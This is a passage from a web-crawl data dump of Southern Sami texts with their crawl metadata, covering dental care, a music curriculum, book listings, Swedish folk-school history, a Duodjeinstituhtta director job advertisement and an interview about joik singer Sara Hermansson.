njaelmiem laarhkenh maahtah aktem jallh jeenjebh baenieh laarhkenidh. Dle vihkeles lïhkemes baenieklinihkem bieljelidh, skaaram registreeredidh jïh rïektes viehkiem åadtjodh.\nBaeniehealsoefaaleldahken öörneme\nDïhte byjjesbaeniehealsoefaaleldahken dïedte faaleldahkem maanide jïh noeride (0-18 jaepien båeries) vedtedh. Baenieklinihke maanide gohtjesuvvieh dan jaepien 3 jaepien båeries sjidtieh. Dan åvtelen dle healsoejarnge maanaj baeniehealsoem vaaksjode. Healsoejarngen healsoesåjhtere\/dåaktere maahta maanam baenieklinihkese seedtedh jis vuajna dïhte daerpies.\nBieljelh lïhkemes byjjes baenieklinihkine jis sïjhth vielie bïevnesh utnedh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.tkmidt.no\/tannvern\/god-tannhelse-fra-forste-tann-sorsamisk","date":"2022-12-04T12:44:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710972.37\/warc\/CC-MAIN-20221204104311-20221204134311-00219.warc.gz","language":"sma","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000014305114746}","num_words":362,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maehtedh ryöknedidh musihkesne lea maehtedh musihken maadthbiehkieh guarkedh jïh nuhtjedh, goh pulse, taakte, jievkehtimmieh, tonajalloe, tekstuvre jïh hammoe. Lea goerehtidh jïh eksperimenteeredh möönsterigujmie jïh struktuvrigujmie, jïh ryöknedimmieh tïjjeste jïh rommeste musihkesne jïh daanhtsosne darjodh. Evtiedimmie ryöknememaahtoste musihkesne lea aelkedh aelhkie möönsterh jïh struktuvrh darjodh, buektedh jïh buerkiestidh, jïh aelhkie ryöknedimmieh darjodh tïjjeste jïh rommeste, akten gïengeleslåbpoe kråahpeles jïh kognitijve goerkesasse presisjovneste jïh kompleksiteeteste mah leah vïedteldihkie musihken maadthbiehkide, möönsteridie jïh struktuvride, tïjjese jïh rommese.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/om-faget\/grunnleggende-ferdigheter?lang=sma","date":"2022-12-03T12:29:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710931.81\/warc\/CC-MAIN-20221203111902-20221203141902-00411.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":74,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.27,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Kunnskapssenteret i Gildeskål Vaadtasovvemejaepie 2003 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Daaroengïele Formaate Sïejhme gærja Reakta-aajhtere Kunnskapssenteret i Gildeskål Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 39 Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Eatnemelearoe Åålmege jïh laanth Histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_fortellinger-fra-samenes-liv-i-salten","date":"2022-12-06T14:07:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711108.34\/warc\/CC-MAIN-20221206124909-20221206154909-00317.warc.gz","language":"sma","language_score":0.9991915822,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9991915822029114}","num_words":49,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SKUVLE\nJaepien 1842 laakem tjeeli Sveerjesne mij jeehti gaajhkh reaktam utnin skuvlesne lohkedh. Fïerhte staare jïh fïerhte såakne tjoerin öörnedh guktie skuvle gååvnesi. Vïjhte jaepiej raejesne edtji almetjeskuvlem bigkesovveme abpe laantesne. Men dïhte lij gïerve jïh löövles barkoe voenine. Aalkovistie barkoe soejmilaakan lij. Lij gïerve gaavnedh lohkehtæjjah jïh gåetieh. Idtji åvteli 1880-låhkoen raejesne tsiehkieh mejtie iemie sjïdtin. 1882 laake tseegki åålmehskuvledïedten bïjre. Dïhte lij njieljie jaepieh maanah edtja skuvlesne årrodh jïh dan gaavhtan jienebh maanah enn sijjieh skuvlesne jïh lohkehtæjjah dellie lïerehtimmiem lij abpe jaepien mietie. Dïhte meehti årrodh naan biejjieh våhkosne, fïerhten mubpien våhkoe jallh fïerhten mubpien termijne. Dan gaavhtan idtji lij nuekies lohkehtæjjah mah ööhpehtimmiem utnin lin gellie diakonerh mah eelkin skuvlesne barkedh. Learohkh dejtie lyjhkin juktie dah utnin hijven leksjovnh.\nMaanah edtjin skuvlem aelkedh gosse medtie 9 jaepien båeries. Dellie edtjin joe maehtedh onn'ohtje lohkedh jïh tjaeledh jïh våaromem maehtedh kristelesvoetemaahtoem.\nDah lin jïjnjh mah daarpesji maehtedh maam idtji skuvlesne lïerh. Jeenjemes åadtjoeji lïeredh geerve almetjistie jïh båarasommes åerpienistie fuelhkesne. Gosse våaromem lïeri meehti dan mænngan learoehkinie årrodh naan luvnie fuelhkien ålkoelisnie.\nGærjah\nGærjah lin dovres jïh ovsïejhme. Dah gærjah mah gååvnesieh jeenjemes hïejmine lij jaahkoen gærjah: bijbele, katekeese jïh saalmegærja.\nGåetiegihtjedimmieh\nÅvteli åålmehskuvle lij aaj vihkeles almetjh meehtin lohkedh, tjaeledh jïh evtemes kristelesvoetemaahtoem. Naan gærhkoste, vuesiehtimmien gaavhtan hearra, vöölki dan gaavhtan voeneste voenese daamhtaj jïh utni gåetiegihtjedimmiem, guktie deejri dah dej leaksoem meehtin.\nSkuvleaamhtesh\nDah aamhtesh mah edtja lïeredh åålmehskuvlesne lij: lohkedh, tjaeledh, ryöknedh, kristelesvoete jïh bijbelen histovrije, eatnememaahtoe jïh laavlome.\nSkuvlebeapmoeh\nDah idtjin åadtjoeh beapmoeh skuvlesne, dah tjoerin jïjtje niestiem buektedh. Sïejhme beapmoeh lij jissehtslaejpieh jïh mielhkie.\nMark\nMark skuvlen lïhke årroeminie. Dïhte barre daarpesje vaedtsedh åenehks stuhtjem Storgatan mietie bovreste dellie gatam dåaresth geajnose man nomme Skolgatan. Dan lea diakonissa Anna \"momma\" Persson lohkehtæjjine.\nSkuvle Orrestaaresne\nKöpinge Orrestaare lij Själevaden åålmehskuvledajvesne. Skuvle lij Själevaden gærhkoen lïhke, medtie 5 km köpingistie. Dah mïelin dïhte fer guhkie jïh köpingeårrojh voejhkelin lïerehtimmiem maanide öörnedh sijjesne. Joe 1867 gyhtjelassem gihtji Orrestaare Själevadesen åålmehskuvleöörnegistie juekedh.\nDïhte voestes gåetie maam tjïelte åestieji lij åesiestæjja Fahlgrenen gaertene Skolgatan 7, jaepie lij 1873. Daesnie ryöjredin skuvletjïehtjelh, rektovregåetiem, telegraafem jïh tjåanghkoetjïehtjelem. Daan bijjien ij leah naan skuvle Skolgatanisnie nomme lea baetseme 1870-låhkoste.\n1898 lij åålmehskuvlebigkeme bijjiestaaresne gaervies sijjie utni 300 learoehkidie. Daesnie lij sjïehteles sijjie lïerehtæmman, stååkedæmman jïh spïelide.\nGåetie gusnie daelie bigkin goh ektieskovle. Tjaktjetermijne 1905 dellie learohkh voestes aejkien böötin dan sïjse.\nElin\nIdtjin Elin lij skuvlesne. Maanah laantedajveste idtjin dam darjoeh 1820-låhkosne. Dah mah daarpesjin daejredh dah lïerin geerve almetjistie gïeh lin dej lïhke. Sjïere lïerin lohkedh jïh tjaeledh, mubpieh idtjin dam lïerh. Dïhte lij vihkeles maehtedh religijöösen tjaalegh gærjah namhtah, jïlhts lij jeenjemes praktihken maahtoeh dah daarpesjin. Båantagaertesne barkedh kreava datne maahtah gellie ovmessie darjomi bïjre.\nNils\nNils lij måedtie jaepieh Domsjöverksskuvlesne. Daesnie ajve maanah åadtjoeh årrodh mej eejhtegh saakesne jallh naan mubpie bruken darjomigujmie berkieh. Skuvletïjje lij sjïehtesjamme guktie saaken daerpiesvoetide barkoefaamoste sjïehteles. Domsjöverkskuvlesne lij gærjagåetie.\nMaria\nMaria skuvlesne. Dïhte edtja 6 jaepieh åålmehskuvlesne årrodh jïh dan mænngan jåerhkedh ööhpehtidh, guktie sov stoerreåabpa veanhta dïhte galka. Dïhte lea orre tïjjh jïh gååvnesieh jienebe nuepieh maam akt darjodh enn dejtie mah eejhtegh barkeminie.\nTheresia\nTheresia gïerve åtna skuvlesne årrodh juktie sov fuelhkie abpe tïjjem juhtieh. Naan maanah Theresian fuelhkesne åadtjodh naan almetji luvnie årrodh boelhkesne jïh skuvlesne årrodh. Men ij leah aelhkie dan gaavhtan vuelkijemaanah daamhtaj sjidtieh irhkedh mubpieh learoehkijstie jïh såemies aejkien aaj lohkehtæjjah dejtie irhkieh. Theresia dan gaavhtan åådtje sov ööhpehtimmiem sov fuelhkeste. Dïhte læhkoeladtje, sov aahka lea nænnoestamme Theresia edtja lïeredh jeenjemes mestie mubpieh maanah skuvlesne lierieh, jïh onn'ohtje vielie.\nLars-Anders\nDïhte lea gujht obligatorijen åålmehskuvle Sveerjesne, men Lars-Anders ij åadtjoeh skuvlesne årrodh. Åålmehskuvle ij leah gaajhkene lehkesne ennje.","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/nolavonda.se\/sma\/skuvle","date":"2022-12-09T02:23:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711376.47\/warc\/CC-MAIN-20221209011720-20221209041720-00708.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":592,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Utsi, Gun Margret Bertije ČálliidLágádus Vaadtasovvemejaepie 2010 Faage Eatnemefaage Saemien 1 Saemien 2, 3 jïh 4 Båatsoe jïh design Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele Daaroengïele ISBN 9788282630177 Formaate Sïejhme gærja Reakta-aajhtere ČálliidLágádus Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 96 Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage Saemiengïele Gïelh jïh smaaregh Baakoegærjah","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_bovtsen-guelmieh","date":"2022-11-29T10:14:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710691.77\/warc\/CC-MAIN-20221129100233-20221129130233-00529.warc.gz","language":"sma","language_score":0.9997342229,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9997342228889465}","num_words":51,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Hætta, Odd Mathis Bertije Davvi Girji Vaadtasovvemejaepie 2006 Faage Daaroengïele learoehkide mah saemiengïelem voestesgïeline luhkieh Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Daaroengïele ISBN 8273746593 Formaate Sïejhme gærja Reakta-aajhtere Davvi Girji Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Vuelie Njaalmeldh kultuvre Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_samiske-tradisjoner-og-skikker","date":"2022-12-01T15:46:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710829.5\/warc\/CC-MAIN-20221201153700-20221201183700-00502.warc.gz","language":"sma","language_score":0.9996645451,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9996645450592041}","num_words":59,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ledig stilling som Direktør for Stiftelsen Duodjeinstituhtta\nInformasjon om Stiftelsen Duodjeinstituhtta:\nDuodjeinstituhtta (DI) er et utviklings- og kompetansesenter.\nHovedmålet er næringsutvikling og økt sysselsetting med utgangspunkt i tradisjonell duodji.\nDuodji bygger på taus kunnskap og immateriell kulturarv, dvs. erfaringsbasert kunnskap og viten som formidles gjennom praktisk handling og utøvelse av duodji, og har gjort det gjennom mange generasjoner.\nDuodjeinstituhtta legger til rette for en arbeidsform hvor immateriell kulturarv blir ivaretatt.\nDuodjeinstituhttas drift er finansiert av Sametinget.\nDuodjeinstituhtta søker en resultat- og utviklingsorientert leder med evne og interesse for å utvikle stiftelsen og videre arbeide med en faglig utvikling av duodji.\nDirektøren er øverste leder for den administrative virksomheten innenfor de rammer som er fastsatt av styret, rapporterer til styret og har ansvar for ukentlige møter på Skype.\nDirektøren vil ha ansvar for å lede og utvikle Duodjeinstituhtta i Kautokeino og 7 avdelinger med tilknyttede prosjektarbeidere og erfarne kompetente medarbeidere.\nAnsvars- og arbeidsoppgaver:\nDirektøren er den øverste leder for den samlede administrative virksomheten, dette innebærer blant annet ansvar for:\n- å lede og utvikle administrasjonen både til en god støttestruktur for faglig virksomhet og til en god arbeidsplass\n- at den samlede økonomi- og personalforvaltning er i samsvar med lov og avtaleverk og generelle bestemmelser\n- rapportering til styret, Sametinget og eventuelt andre finansiører for prosjekter etc.\n- å forberede saker for styret i samråd med styreleder og iverksette styrets beslutninger. Direktøren er sekretær for styret\n- å føre tilsyn med, og ha ansvar for drift og vedlikehold av Duodjeinstituhttas lokaler og eiendeler i de forskjellig avdelingene for Duodjeinstituhtta.\n- å ivareta oppfølging av saker knyttet til samordning og videreutvikling av duodjiutøvernes virksomhet til det beste for duodjiutøvere i regionene.\n- å ivareta oppfølging av samarbeidsavtaler og\/eller ordninger av faglig art som Duodjeinstituhtta deltar i nasjonalt og internasjonalt\n- Være en nettbygger for duodji over hele Sápmi\n- Ha oversikt og evner til å arbeide med andre minoriteter i de ulike landene\n- Kunne duodji og ha praktisk erfaring med veiledning og mønsterutvikling.\n- Ha faglige kunnskaper i ulik duodjiproduksjon\nDirektøren er med på å forme og iverksette Duodjeinstituhttas strategiarbeid.\nDet er utarbeidet instruks for stillingen, jfr : Duodjeinstituhttas regler.\nKompetansekrav\n- Fagbrev i duodji, kunnskap og kjennskap til duodji som kultur, fag og næring. Høgskole eller relevant erfaring og praksis knyttet til arbeidsoppgavene. Ha et solid nettverk mot ulike duodjimiljøer (i sapmi) fagorganisasjoner og utdanningsinstitusjoner innen for landegrensene i Norge Finland, Sverige og Russland.\n- Høyere utdanning\n- Solid erfaring og kjennskap i arbeidet med duodji i Norge (hele Sápmi) over landegrensene innen Sverige , Finland og Russland.\n- Erfaring og nettverk mot finansieringsinstitusjonene i Sápmi\n- Dokumenterte resultater med å samordne administrativ virksomhet og utvikle velfungerende administrative prosesser\n- God innsikt i offentlig forvaltning og politiske prosesser\n- Det er ønskelig med person som har erfaring fra fagorganer, duodjiorganisasjoner, andre aktuelle samarbeidspartnere, institusjoner- organisasjoner og kunnskapsorganisasjoner for Sápmi\nPersonlige egenskaper\n- Velutviklet evne til relasjonsbygging, kommunikasjon og samhandling\n- Evne til å samle, motivere og utvikle medarbeidere\n- God på å bygge tillit, internt og eksternt\n- Gode strategiske og analytiske evner\n- Høy grad av integritet og gjennomføringsevne\n- Kunne skrive og snakke samisk\n- Til enhver tid kunne jobbe i relasjon med de andre regionene og ha oversikt over prioriteringer og behov innenfor disse\nDen som tilsettes må arbeide etter de lover og regler som til enhver tid gjelder for statlig og privat virksomhet generelt og må være forberedt på organisatoriske og arbeidsmessige endringer. Tilsettingsorgan for stillingen er styret for Stiftelsen Duodjeinstituhtta i Kautokeino.\nStillingen lyses ut som en fast stilling gjennom offentlig utlysning.\nStillingen lønnes etter Statens lønnsregulativ, som direktør, etter avtale.\nFra lønnen trekkes 2 % lovfestet innskudd i Statens pensjonskasse.\nSøkers navn kan bli offentliggjort selv om søker ber om at søknaden blir unntatt offentlighet, jf off. § 25. Søker vil i tilfelle bli varslet på forhånd.\nHovedkontoret er i Kautokeino ved Duodjesiida som eies av Stiftelsen Duodjeinstituhtta. Duodjeinstituhtta er en stiftelse med en hovedadministrasjon og i tillegg finnes det 7 avdelinger i Snåsa, Hatfjelldal, Evenes, Manndal, Karasjok og Nesseby.\nArbeidssted: Kautokeino, Boaronjarga 1, 9520 Kautokeino\nSøknadsfrist 12.08.2022\nTiltredelse: Snarest\nDuodjeinstituhte orre direktöörem daarpesje .\nStiftelsen Duodjeinstituhtem bijre\nDuodjeinstihtuhte lea evtiehtimmie -jih maahtoe jarnge. Åejvie ulmie lea\njielliemasseevtiehtimmie jih fassedh duedtie aerpiemaahtoem gaavhtan . Duedtie lea\nsjeavohts maahtoe jih immateriell kultuvreaerpie , lea dååjrehtimmie maahtoe jih daajroem\nmaam barkoem tjirrh maahta lieredh boelveste boelvese . Di sjiehteladtah juktie immateriell\nkultuvreaerpien viertiem geehtestidh .\nDuodjeinstituhte Saemiedigkien beetnehvierhtine jåhta .\nDuodjeinstihtuhte åhtsa åvtehke gie åtna maahtoem jih ïedtjem stiftelsemem evtiehtidh jih\nvijrebasse barkedh duedtiem faagelesh evtiehtimmine .\nDirektööre lea bijjemes åvtehke reereme giehtelimmine Ståvroen mierijgujmie , reektehts\nståvrose vaadta jih fierten våhkoe åtna skype tjåangkoe .\nDirektööre åtna diedtiem evhtiehtidh jih åejviediedtiem duodjiinstihtuhte Guovdageainusne\njih 7 goevtesh gusnie lea prosjekte barkoeh jih tjiehpies barkijigujmie .\nDiedtie jih barkoelaavenjassh :\nDirektööre lea åvtehke abpe reereles gïehtelimmien , jïh diedtiesuerkie barkosne lea :\n– Evtiedidh reeremem buerie dåarjoestuktuvre faagels gïehtelimmide jih buerie\nbarkoesijjien åvtehke årrodh .\n– Ahte ekonomije jih viehkiehtæjja reerenasse laakide jih sjiehtedimmie tjaatsegidie jïh\ngaajhkh nænnoestimmide sjeahta .\n– Reektehts ståvrose ,saemiedigkese jih jeatja mah beetnegh viertieh prosjektide\nveedteme laehpedh .\n– Ektesne ståvroeåejvine aamtesh ståvrose ryøjredh jih ståvroen nænnoestimmide\njuehtiehtidh .Direktööre lea ståvroen tjaelije .\n– Vaaksjodh jih diedtiem utnedh Duodjeinstituhten gåetieh jih tjåenieh åvteste\nduodjeinstituhten goevtesinie .\n– Goerehtalledh guktie vytnesjæjjaj barkojde evtiehtidh regijovnine jih goerehtalledh\nguktie vytnesjæjjaj barkojde ektiedidh regijovnine .\n– Vuartasjidh nasjovneles jïh internasjovneles ektiebarkoenååhtedimmide jïh\/jallh\nfaageles öörnegh gusnie duodjeinstituhte lea meatan .\n– Bigkedh viermie duedtiem gaavhtan abpe saepmesne .\n– Utnedh daajroem guktie barkedh jeatja laantij unnebelåhkoealmetjijgujmie .\n– Veatnoem\/ duedtiem maahtoem utnedh jih utnedh praktihkeles dååjrehtimmie\nbihkedimmeste jïh aaj væjjoe evtiedimmeste .\nDirektööre lea meatan duodjeinstituhtem strategijebarkosne jih dihte aaj strategije\nbarkojne aalka barkedh\nDirektööre barkose lea bihkedasse Di em njoelkedassij mietie .\nMaahtoehkrïevenassh:\n– Duedtie faageprievie , maahtoe jïh daajroe duedtiem goh kultuvre, faage jïh barkoe.\nJilleskuvlen ööhpehtimmie jallh sjiehteles dååjrehtimmie jïh learoe barkoen\nlaavenjasside . Utnedh nænnoes viermieh ovmessie duedtiebyjresidie saepmesne\nfaage organisasjovnide jïh ööhpehtimmie institusjovnide Nöörjesne,Soepmesne ,\nSveerjesne jïh Russlaantesne .\n– Jollebe ööhpehtimmie\nNænnoes daajroe jïh dååjrehtimmie duedtie barkojde abpe Saepmesne ,\nNöörjesne,Soepmesne , Sveerjesne jïh Russlaantesne .\n– Dååjrehtimmie jïh daajroe beetnehviertie institusjovnide.\n– Vïhtesjamme illeldahkh guktie reereles gïehtelimmie jih guktie reereles prosseside\nevtiedidh.\n– Buerie daajroe byjjes reerenassem jih politihkeles prossesij bijre .\n– Mijjieh vaajtelibie almetje dååjrehtimmie faage orgaanijste ,duedtie\norganisasjovnijste jïh jeatja laavenjostoegujmijste åtna.\nGuktie datne goh almetje :\n– Buerie vuekie guktie ektievoetide bigkedh ,gaskesadteme jih laavenjostedh .\n– Buerie vuekie guktie tjøøngkedh ,evtiedidh jih skreejredh barkijidie .\n– Buerie vuekie guktie jearsoesvoetem bigkedh , Duodjeinstituhten barkijidie jïh\nDuodjeistituhten ålkoebielesne .\n– Buerie strategijeles jïh goerehtimmie eebneh.\n– Væjkeles jijtje barkedh jih barkojde tjirrehtidh .\n– Hijven jis maahtah saemiestidh jïh saemien tjaeledh.\n– Abpe tijjem ektesne dej jeatja regijovnijgujmie barkedh jïh aaj daejredh maam dah\ndaarpesjieh jih mij lea vihkeles dejtie .\n–\nDihte guhte barkoem åadtjoeh edtja staateles jih privaate laakij jih njoelkedassij mietie\nbarkedh aejkeste aajkan jïh danasinie tjoerh daejredh organisjovneles jïh barkoe maahta\njorkestovvedh.\nStiftelsen Duodjeinstituhten ståvroe lea barkoefaalije .\nBarkoe lea ihkuven barkoe jïh bæjhkoehtimmie lea byjjes .\nDirektööre barkoen baalhka lea Staaten baalhkaregulatijven mietie jïh latjkoem mietie\n.Laaken nænnoestimmien gavhtan 2% baalhkaste Staateles pensjovneøørnegasse vaeltieh.\nOhtsetæjjan nommem maehtebe bæjjoehtidh jallhts ohtsije sov nommem sæjhta tjeakoes\nutnedh jf off.§25 . Ohtsije bievnesem daan bijre åadtjoe.\nÅejvie kontovre lea Guovdageajnosne Duodjesiidasne . Duodjeinstituhte lea aajhtere.\nSiftelse Duodjeinstituhten åejviereeremem åtna jïh 7 goevtesh Snåasesne, Aarportesne\n,Evenaasjesne , Olmmaivaegkesne,Karasjohkesne jïh Unjuanasne .\nGåessie edtjh barkose aelkedh : varkemes","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.duodjein.no\/language\/nb\/ledig-stilling-som-direktor-for-stiftelsen-duodjeinstituhtta-2\/2274\/","date":"2022-11-26T19:00:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446708046.99\/warc\/CC-MAIN-20221126180719-20221126210719-00425.warc.gz","language":"sma","language_score":0.9592292309,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9592292308807373, \"sme_Latn_score\": 0.03383513540029526}","num_words":1143,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.967,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sara Hermansson\nSaara Hermansson Gåaltoevuemeste båata, Jillen Naasjoste. Dïhte musihkere mij jïjtse musihkem tjaala jïh lååvle. Dïhte åarjelsaemien gïelesne tjaala jïh vuelie lea vihkeles sov laavloemisnie. Dïhte lij meatan musihkegaahtjemisnie Sámi Grand Prix 2019 sov laavloeminie \"Mov laavlome\". Jïh vitni!\nMaam datne ussjedh gosse baakoem \"vuelie\" govlh, manne Saaram gihtjem.\n-Dellie manne ussjedem dïhte lea vuekie domtesh tjïertestidh jallh soptsesem. Jeatjah sæjjan vualkam, jallh aktene sijjesne, soptsesisnie jallh domtesisnie baatsam. Domtoe goh im mij desnie mij datneste maam krïebpesjh.\nGosse Saara byjjeni, dellie åesieh kultuvreste mejtie idtjin desnie, nov goh gïele, vætnoe, jïh båatsoe. Menh vuelie iktesth desnie orreme.\n-Aehtjie jeenjem munnjien jïh mov åerpienidie joejki. Gosse aavone, jallh gosse mijjieh jïengesne limh gööleminie jallh… daamtaj gosse mijjieh ålkone dellie vuelie jïjtsistie barre bööti jallh gosse mijjieh limh Faepmesne.\nDïhte soptseste aehtjebe gellie vuelieh saemieraadijovistie tjoejenasse-baantese spealadamme. Såemies aejkien Saara jïh sov åabpa idtjigan maehtieh iehkeden åeredh jis idtjigan dejtie goltelh. Saara iktesth musihkem lyjhkeme, jïh dïhte iktesth væjkeles musihkine orreme. Dïhte tjïelkelaakan måjhta gosse eelki haeliedidh joejkedh. Gosse eelki joejkedh idtji seamma tjaebpies govli goh aehtjebe joejki.\n-Man åvteste idtji seammalaakan govlh gosse dïhte jallh jeatjah almetjh joejki? Man åvteste im maehtieh?…Manne nejjiedim, jïh dle aahtjan jeehti: Im gåessie gænnah maahtam dam lïeredh.. Im gåessie gænnah maehtieh joejkedh! Jïh dle aehtjie vaestiedi: \"Vuelie ih maehtieh lohkedh juktie lïeredh. Vuelie båata gosse datne riejries.\"\nSaara idtji dillie guarkah maam dïhte sijhti jiehtedh. Mænngan, medtie jaepien mænngan dïhte aehtjine dan bïjre soptsesti, dellie vuelie barre sutnjien bööti. Dellie ojhte biejjeste måbpan, faahketji meehti joejkedh. Manne Saaram gihtjem mejtie dïhte domtoe goh satne sov maadtoeladtji lïhke gosse joejkeminie.\n-Jaavoe manne dam domtem. Manne lïhke mov maadtoeladtjide domtem darhke abpe tïjjen gosse mov kultuvrine gïehteleminie. Uvtemes lea gïelen tjïrrh manne mov aerpiem vuesehtem jïh dellie manne mov maadtoeladtji bïjre ussjedem. Vuelie goh eejehtimmie, dïhte sijjem skaepede gusnie maahtah jïjtjenadth lïegkestidh.\nSaaran mïelen mietie datne maahtah eejehtimmiem åadtjodh vuelien tjïrrh dejstie dïedtijste dov leah goh kultuvreguedtije, jallh goh Saara jeahta gæmhposte. Saaht guktie. Jalhts vuelie gaajh veaksehke dïjre jallh ij. Dïhte vielie buerkeste. Vuelie man nomme Gulahallat Eatnamiin, gaajh veaksehke domtesh buakta, jïh lea daelie joekoen aktuelle. Læjhkan lea tråjjes joejkedh, dïhte jeahta.\nSaara vuelien domtesem aehtjiebistie åadtjoeji. Dïhte naan vuelieh Saaram lïereme. Akte dejstie lea mahte seamma akte dejstie Nils Aslak Valkeapääen vuelijste.\n-Dïhte vuelie maam aehtjemes gellien aejkien joejkeme, jïh dïhte vuelie abpe mov jieliedisnie meatan orreme. Manne dam mov ööhpehtimmesne nuhtjem. Dïhte åarjelsaemien gïelesne, jïh joekoen aelhkie jïh luste maanide. Aehtjie mannem saemien lïeri vuelien tjïrrh. Dan mænngan daate vuelie jarngesne mov vueliegaaltijisnie orreme. Dïhte lea jarngesne mov sisnjeles vueliemoeresne.\nSaara soptseste dan mænngan orre vuelieh jijhteme, smaave baerehkh ovmessie åeksijste dehtie jarngeste. Jïh dïhte vuelie lea sov \"go-to.\" Jis naakene sæjhta dïhte edtja joejkedh, dellie dïhte dam veeljie. Vuesiehtimmien gaavhtan gosse gærhkoen gåassoehtæjjine Faepmesne barkeme jovnesåhkoejhïeljesne. Gellie turisth maehtieh båetedh jïh gihtjieh mejtie Saara maahta maam akt joejkedh.\n-Dellie dïhte vuelie hijven joejkedh dejtie mejtie eah guarkoeh. Maahta aelhkieslaakan dejnie vuesiehtidh mij vuelie lea, bielelen vueliem joejkedh mij lea mov vaajmoem lïhkemes… dellie domtem im daan jeenje ammes almetjigujmie juekieh.\nSaaran bööremes raerie jis sæjhta aelkedh joejkedh lea olkese vaedtsedh, skåajjese jïh tjihkedidh pryövedh. Vaedtsieh akten jearsoes sæjjan, ålkone jallh gåetesne jïh pryövh. Aellieh bïllh, ij maehtieh båajhtoehlaakan joejkedh. Maahta saahth guktie govledh, Saara jeahta. Dïhte joekoen måjhtah ikth gosse ålkone tjahkasji, jïh sïjhti mij akt orre pryövedh.\n-Dïhte amma lustes soptsese… Manne trahpesne tjahkasjim mov gåetien ålkoelisnie Västerbottenisnie, mov eejhtegi luvnie. Vuelie gååvnese maam tuhtjem lea luste, jïh dïhte Sválla\/ Svaalen vuelie. Dïhte ïskeres govloe. Menh læjhkan lea luste. Sïjhtim dam pryövedh, barre dejtie tjoejenasside darjodh. Jïh dle eelkim, jïh manne barre lyjhkem dam joejkedh. Faahketji govlim guktie tjuaja gåeteste, jïh tjidtjie faahketji olkese bööti: \" Mij deahpede? Naakene mij jaemieminie jallh riepie daesnie?\" Jïh dle föörhkedihks jeahtam: \"Ijje, barre manne…\"\nAkte dejstie stööremes åvteguvvijste lea sov maadtoeladtje Elsa Kristoffersson. Dïhte lij Saaran aajjan aajkohke, jïh jalhts ij Saara hïnnh dejnie riktilaakan åahpenidh gosse 